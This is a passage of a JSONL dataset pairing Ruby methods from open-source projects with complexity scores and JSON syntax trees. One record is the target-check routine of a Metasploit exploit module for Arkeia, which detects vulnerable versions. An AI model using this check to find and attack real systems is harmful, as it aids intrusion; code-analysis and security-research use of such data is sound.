ype\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless_exist\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c05c58ac-dde0-43fb-871c-592f05710045"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace/aggregation_schedule.rb","start_line":19,"raw_source":"def schedule_root_storage_statistics\n    run_after_commit_or_now do\n      try_obtain_lease do\n        Namespaces::RootStatisticsWorker\n          .perform_async(namespace_id)\n\n        Namespaces::RootStatisticsWorker\n          .perform_in(default_lease_timeout, namespace_id)\n      end\n    end\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_root_storage_statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_obtain_lease\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"RootStatisticsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"RootStatisticsWorker\"]},\"perform_in\",{\"type\":\"send\",\"children\":[null,\"default_lease_timeout\"]},{\"type\":\"send\",\"children\":[null,\"namespace_id\"]}]}]}]}]}]}","id":"b04d3599-1e00-4987-9913-efb11fcd02f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120820191804_add_search_indices.rb","start_line":9,"raw_source":"def down\n    execute \"DROP INDEX idx_search_thread\"\n    execute \"DROP INDEX idx_search_user\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX idx_search_thread\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP INDEX idx_search_user\"]}]}]}]}","id":"37b3ef01-a35a-4025-ba97-9be6533b02df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/repository_storage_moves_shared_examples.rb","start_line":88,"raw_source":"def create_container_repository_storage_move\n      post api(url, user, admin_mode: user.admin?), params: { destination_storage_name: destination_storage_name }\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_container_repository_storage_move\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"url\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"admin?\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination_storage_name\"]},{\"type\":\"send\",\"children\":[null,\"destination_storage_name\"]}]}]}]}]}]}]}","id":"86e49290-7d48-4a74-88a5-15bf3d91d597"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/visibility_level_checker.rb","start_line":67,"raw_source":"def override_visibility_level\n      @override_visibility_level ||= import_data.deep_symbolize_keys.dig(:data, :override_params, :visibility)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"override_visibility_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@override_visibility_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_data\"]},\"deep_symbolize_keys\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"override_params\"]},{\"type\":\"sym\",\"children\":[\"visibility\"]}]}]}]}","id":"5687850d-1c31-4c27-b35a-397c3220e86c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/incident_management/pager_duty/process_incident_worker.rb","start_line":38,"raw_source":"def log_error(result)\n        Gitlab::AppLogger.warn(\n          message: 'Cannot create issue for PagerDuty incident',\n          issue_errors: result.errors.join(', ')\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Cannot create issue for PagerDuty incident\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"540a65d8-50fa-41a5-b861-1497c5ccf565"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/blob/identifiable.rb","start_line":10,"raw_source":"def identify_without_saving\n    unless identified?\n      self.content_type = identify_content_type\n      self.identified = true\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"identify_without_saving\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identified?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_type=\",{\"type\":\"send\",\"children\":[null,\"identify_content_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"identified=\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"409bc916-c239-4852-b86c-cd61ec93a441"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/arkeia_upload_exec.rb","start_line":62,"raw_source":"def check\n    # Check version\n    print_status(\"Trying to detect installed version\")\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri)\n    })\n\n    if res and res.code == 200 and res.body =~ /v(\\d+\\.\\d+\\.\\d+)/\n      version = $1\n    else\n      return Exploit::CheckCode::Unknown\n    end\n\n    vprint_status(\"Version #{version} detected\")\n\n    if version > \"10.0.10\"\n      return Exploit::CheckCode::Safe\n    end\n\n    # Check for vulnerable component\n    vprint_status(\"Trying to detect the vulnerable component\")\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'headers' => { 'Cookie' => \"lang=fr\" },\n      'uri' => normalize_uri(uri)\n    })\n\n    if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to detect installed version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"v(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">\",{\"type\":\"str\",\"children\":[\"10.0.10\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trying to detect the vulnerable component\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"str\",\"children\":[\"lang=fr\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Les versions brutes des messages est affichee ci-dessous\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"e4e2cc04-1d0e-4a03-823f-a4a7d5fd3536"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/work_package_relation_dialog_component.rb","start_line":62,"raw_source":"def body_classes\n    @relation.persisted? ? nil : \"Overlay-body_autocomplete_height\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"body_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation\"]},\"persisted?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Overlay-body_autocomplete_height\"]}]}]}","id":"a285fbbb-594e-49fb-ae73-8bd5eb90d8fb"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/tunes/tunes.rb","start_line":875,"raw_source":"def delete_app_store_version_phased_release(app_store_version_phased_release_id: nil)\n          params = tunes_request_client.build_params(filter: nil, includes: nil, limit: nil, sort: nil)\n          tunes_request_client.delete(\"#{Version::V1}/appStoreVersionPhasedReleases/#{app_store_version_phased_release_id}\", params)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_app_store_version_phased_release\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_store_version_phased_release_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/appStoreVersionPhasedReleases/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_store_version_phased_release_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"cd9f58cb-4740-446e-b68d-bccd482218ae"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/users/subscribe_to_mailchimp_newsletter_worker.rb","start_line":6,"raw_source":"def perform(user_id)\n      user = User.find_by(id: user_id)\n\n      Mailchimp::Bot.new(user).upsert if user&.email\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mailchimp\"]},\"Bot\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"upsert\"]},null]}]}]}","id":"d6049665-c381-4d8e-9296-4d31f268858a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ap_req.rb","start_line":43,"raw_source":"def to_asn1\n            elems = []\n\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_pvno], 0, :CONTEXT_SPECIFIC)\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_msg_type], 1, :CONTEXT_SPECIFIC)\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_options], 2, :CONTEXT_SPECIFIC)\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_ticket], 3, :CONTEXT_SPECIFIC)\n            elems << OpenSSL::ASN1::ASN1Data.new([encode_authenticator], 4, :CONTEXT_SPECIFIC)\n\n            seq = OpenSSL::ASN1::Sequence.new(elems)\n\n            seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], AP_REQ, :APPLICATION)\n            seq_asn1\n          end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_asn1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"elems\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_pvno\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_msg_type\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_options\"]}]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_ticket\"]}]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elems\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_authenticator\"]}]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"elems\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seq_asn1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq\"]}]},{\"type\":\"const\",\"children\":[null,\"AP_REQ\"]},{\"type\":\"sym\",\"children\":[\"APPLICATION\"]}]}]},{\"type\":\"lvar\",\"children\":[\"seq_asn1\"]}]}]}","id":"bd515230-22bc-4cc6-8271-c78cfa5a612c"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/regex_matcher.rb","start_line":34,"raw_source":"def self.call(node, doc:, context:)\n        content = node.to_html\n        return unless applicable?(content)\n\n        # Replace the content\n        if process_node!(content, context)\n          node.replace(content)\n        end\n      rescue RuntimeError\n        # If an error is occurred, instead of failing hard, simply do not replace.\n      end","complexity_score":9.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"kwarg\",\"children\":[\"doc\"]},{\"type\":\"kwarg\",\"children\":[\"context\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"to_html\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"applicable?\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_node!\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,null]},null]}]}","id":"62a5f7df-cd62-44e4-aa68-b274db1e356b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support_specs/capybara_slow_finder_spec.rb","start_line":28,"raw_source":"def synchronize(seconds = nil, errors: nil)\n            raise Capybara::ElementNotFound\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"seconds\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"errors\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"ElementNotFound\"]}]}]}","id":"11ed9537-ca1b-41f9-9f70-374bb6a37407"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/plugin/configuration_integrator.rb","start_line":92,"raw_source":"def load_plugin_rubocop_config(plugin, runner_context)\n          rules = plugin.rules(runner_context)\n\n          case rules.type\n          when :path\n            [ConfigLoader.load_file(rules.value, check: false), rules.value]\n          when :object\n            path = plugin.method(:rules).source_location[0]\n            [Config.create(rules.value, path, check: true), path]\n          when :error\n            plugin_name = plugin.about&.name || plugin.inspect\n            error_message = rules.value.respond_to?(:message) ? rules.value.message : rules.value\n\n            raise \"Plugin `#{plugin_name}' failed to load with error: #{error_message}\"\n          end\n        end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_plugin_rubocop_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]},{\"type\":\"arg\",\"children\":[\"runner_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rules\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"rules\",{\"type\":\"lvar\",\"children\":[\"runner_context\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigLoader\"]},\"load_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"method\",{\"type\":\"sym\",\"children\":[\"rules\"]}]},\"source_location\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_name\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"about\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"inspect\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]},\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]},{\"type\":\"str\",\"children\":[\"' failed to load with error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}]}]},null]}]}]}","id":"a8a15315-db7b-4c2d-8a16-ea69c33f4e1f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":278,"raw_source":"def with_remote_options\n    if @ssh_private_key\n      @ssh_private_key_file = Tempfile.new\n      @ssh_private_key_file.write(@ssh_private_key)\n      @ssh_private_key_file.close\n    end\n\n    options = {:credentials => method(:credentials_cb), :proxy_url => @proxy_url}\n    options[:certificate_check] = @certificate_check_cb if @certificate_check_cb\n\n    yield options\n  ensure\n    if @ssh_private_key_file\n      @ssh_private_key_file.unlink\n      @ssh_private_key_file = nil\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_remote_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_private_key\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ssh_private_key_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_private_key_file\"]},\"write\",{\"type\":\"ivar\",\"children\":[\"@ssh_private_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_private_key_file\"]},\"close\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credentials\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"credentials_cb\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_url\"]},{\"type\":\"ivar\",\"children\":[\"@proxy_url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@certificate_check_cb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"